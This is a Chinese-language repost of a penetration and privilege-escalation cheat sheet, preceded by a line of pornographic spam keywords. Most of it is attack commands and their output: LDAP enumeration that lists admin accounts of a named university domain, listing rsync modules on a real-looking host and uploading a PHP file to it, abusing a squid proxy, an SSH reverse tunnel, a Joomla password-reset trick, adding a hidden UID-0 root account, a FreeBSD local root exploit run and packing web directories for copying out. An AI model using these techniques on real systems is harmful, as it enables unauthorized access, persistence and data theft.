国产一级a片免费看高清,亚洲熟女中文字幕在线视频,黄三级高清在线播放,免费黄色视频在线看

打開APP
userphoto
未登錄

開通VIP,暢享免費電子書等14項超值服

開通VIP
各種滲透,提權(quán)的經(jīng)驗和技巧總結(jié)(中)
liunx 相關(guān)提權(quán)滲透技巧總結(jié),一、ldap 滲透技巧:

1.cat /etc/nsswitch
看看密碼登錄策略我們可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc設(shè)置

3.查找管理員信息

匿名方式
ldapsearch -x -D “cn=administrator,cn=People,dc=unix-center,dc=net” -b “cn=administrator,cn=People,dc=unix-center,dc=net” -h 192.168.2.2

有密碼形式
ldapsearch -x -W -D “cn=administrator,cn=People,dc=unix-center,dc=net” -b “cn=administrator,cn=People,dc=unix-center,dc=net” -h 192.168.2.2

4.查找10條用戶記錄
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

實戰(zhàn):
1.cat /etc/nsswitch
看看密碼登錄策略我們可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc設(shè)置

3.查找管理員信息

匿名方式
ldapsearch -x -D “cn=administrator,cn=People,dc=unix-center,dc=net” -b “cn=administrator,cn=People,dc=unix-center,dc=net” -h 192.168.2.2

有密碼形式
ldapsearch -x -W -D “cn=administrator,cn=People,dc=unix-center,dc=net” -b “cn=administrator,cn=People,dc=unix-center,dc=net” -h 192.168.2.2

4.查找10條用戶記錄
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

滲透實戰(zhàn):
1.返回所有的屬性
ldapsearch -h 192.168.7.33 -b “dc=ruc,dc=edu,dc=cn” -s sub “objectclass=*”
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: superadmin
cn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: admin
cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous

2.查看基類
bash-3.00# ldapsearch -h 192.168.7.33 -b “dc=ruc,dc=edu,dc=cn” -s base “objectclass=*” |

more
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b “” -s base “objectclass=*”
version: 1
dn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

 

 

liunx 相關(guān)提權(quán)滲透技巧總結(jié),二、NFS 滲透技巧:

列舉IP:showmount -e ip

 

 

 

liunx 相關(guān)提權(quán)滲透技巧總結(jié),三、rsync滲透技巧:

1.查看rsync服務(wù)器上的列表:

rsync 210.51.X.X::
finance
img_finance
auto
img_auto
html_cms
img_cms
ent_cms
ent_img
ceshi
res_img
res_img_c2
chip
chip_c2
ent_icms
games
gamesimg
media
mediaimg
fashion
res-fashion
res-fo
taobao-home
res-taobao-home
house
res-house
res-home
res-edu
res-ent
res-labs
res-news
res-phtv
res-media
home
edu
news
res-book

看相應(yīng)的下級目錄(注意一定要在目錄后面添加上/)

rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

2.下載rsync服務(wù)器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上傳,不會覆蓋)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/

http://app.finance.xxx.com/warn/nothack.txt

 

 

 

liunx 相關(guān)提權(quán)滲透技巧總結(jié),四、squid滲透技巧:

nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0

 

 

 

liunx 相關(guān)提權(quán)滲透技巧總結(jié),五、SSH端口轉(zhuǎn)發(fā):

ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

 

 

 

liunx 相關(guān)提權(quán)滲透技巧總結(jié),六、joomla滲透小技巧:

確定版本:

index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-15&catid=32:languages&Itemid=47

重新設(shè)置密碼:

index.php?option=com_user&view=reset&layout=confirm

 

 

 

liunx 相關(guān)提權(quán)滲透技巧總結(jié),七、Linux添加UID為0的root用戶:

useradd -o -u 0 nothack

 

 

 

liunx 相關(guān)提權(quán)滲透技巧總結(jié),八、freebsd本地提權(quán):

[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()

 

 

 

tar 文件夾打包:

1、tar打包:

tar -cvf /home/public_html/*.tar /home/public_html/–exclude=排除文件*.gif 排除目錄 /xx/xx/*
alzip打包(韓國) alzip -a D:\WEB\ d:\web\*.rar
{
注:
關(guān)于tar的打包方式,linux不以擴展名來決定文件類型。
若壓縮的話tar -ztf *.tar.gz 查看壓縮包里內(nèi)容 tar -zxf *.tar.gz 解壓
那么用這條比較好 tar -czf /home/public_html/*.tar.gz /home/public_html/–exclude= 排除文件*.gif 排除目錄 /xx/xx/*
}

提權(quán)先執(zhí)行systeminfo
token 漏洞補丁號 KB956572
Churrasco kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder


本站僅提供存儲服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊舉報
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
LDAP的通用命令行工具
淺談LDAP服務(wù)
OpenLDAP學(xué)習(xí)筆記
ldap中創(chuàng)建和AD中相同的用戶顯示名
LDAP常用命令解析
LDAP基礎(chǔ)講座
更多類似文章 >>
生活服務(wù)
分享 收藏 導(dǎo)長圖 關(guān)注 下載文章
綁定賬號成功
后續(xù)可登錄賬號暢享VIP特權(quán)!
如果VIP功能使用有故障,
可點擊這里聯(lián)系客服!

聯(lián)系客服